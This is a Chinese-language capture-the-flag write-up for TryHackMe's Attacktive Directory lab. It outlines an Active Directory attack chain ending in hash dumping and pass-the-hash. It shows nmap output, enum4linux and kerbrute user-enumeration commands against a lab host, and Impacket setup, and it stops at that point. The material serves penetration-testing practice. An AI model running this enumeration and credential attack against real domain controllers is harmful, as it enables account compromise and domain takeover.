Attacktive Directory on Tryhackme

William Lin

2024-03-03

AD, Active Directory, Pentesting, TryHackMe, Windows

Before all

TryHackMe 上的連結：https://tryhackme.com/room/attacktivedirectory
AD是什麼?
Wikipedia 上的介紹

在台灣好厲駭的課有聽過一次Mars大大的AD課程，但因為真的第一次接觸加上東西爆炸多，其實也沒真的學進去多少(頂多觀念)，剛好在TryHackMe上看到一堆AD靶機，就來打打吧~

這台機器的在一個AD網路環境，它代表的是一台Kerberos DC(Domain Controller)。
雖然說這有點事後諸葛，但是本題的攻擊鍊是：

:::info
字典攻擊找username -> TGT暴破svc-admin的密碼 -> 用 svc-admin 的身分登入 smb 找到使用者 backup 的密碼備份檔 ->用 backup 的身分透過DRSUAPI的方法炸出每個使用者的hash -> 利用 Pass The Hash 攻擊登入 Administrator
:::

Victim’s IP : 10.10.162.250
Victim’s Host : spookysec.local
Attacker’s IP : 10.9.195.189

註：記得去變更/etc/hosts設定檔改Host Name

Write Up

RECON

nmap

Command
nmap -sC -sV -Pn 10.10.162.250
Result

Nmap scan report for 10.10.162.143
Host is up (0.29s latency).
Not shown: 987 closed tcp ports (conn-refused)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
| http-methods: 
|_  Potentially risky methods: TRACE
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-03-03 08:36:16Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: spookysec.local0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: spookysec.local0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=AttacktiveDirectory.spookysec.local
| Not valid before: 2024-03-02T08:23:05
|_Not valid after:  2024-09-01T08:23:05
|_ssl-date: 2024-03-03T08:36:43+00:00; +1s from scanner time.
| rdp-ntlm-info: 
|   Target_Name: THM-AD
|   NetBIOS_Domain_Name: THM-AD
|   NetBIOS_Computer_Name: ATTACKTIVEDIREC
|   DNS_Domain_Name: spookysec.local
|   DNS_Computer_Name: AttacktiveDirectory.spookysec.local
|   Product_Version: 10.0.17763
|_  System_Time: 2024-03-03T08:36:34+00:00
Service Info: Host: ATTACKTIVEDIREC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2024-03-03T08:36:37
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
|_clock-skew: mean: 1s, deviation: 0s, median: 0s

Analyze
有smb service, RDP，整體架構是AD網路，HOST NAME是spookysec.local

enum4linux

Command
enum4linux -a spookysec.local
Result

許多User資料被炸出來
獲得NetBios Name是THM-AD(但以後續動作來看沒什麼功能…)

kerbrute

新工具，可以去Github上下載到：
Click Me : https://github.com/ropnop/kerbrute/releases

透過題目提供的userlist.txt進行攻擊(也有提供password.txt做後續的hash爆破)
command:

1	kerbrute userenum --dc 10.10.184.186 -d spookysec.local usernames.txt

Result

Exploit

首先，安裝Impacket工具包

1
2
3

git clone https://github.com/SecureAuthCorp/impacket.git /opt/impacket
pip3 install -r /opt/impacket/requirements.txt
cd /opt/impacket/ && python3 ./setup.py install

可能會需要掛sudo(後續攻擊行為也有很多需要，就不贅述)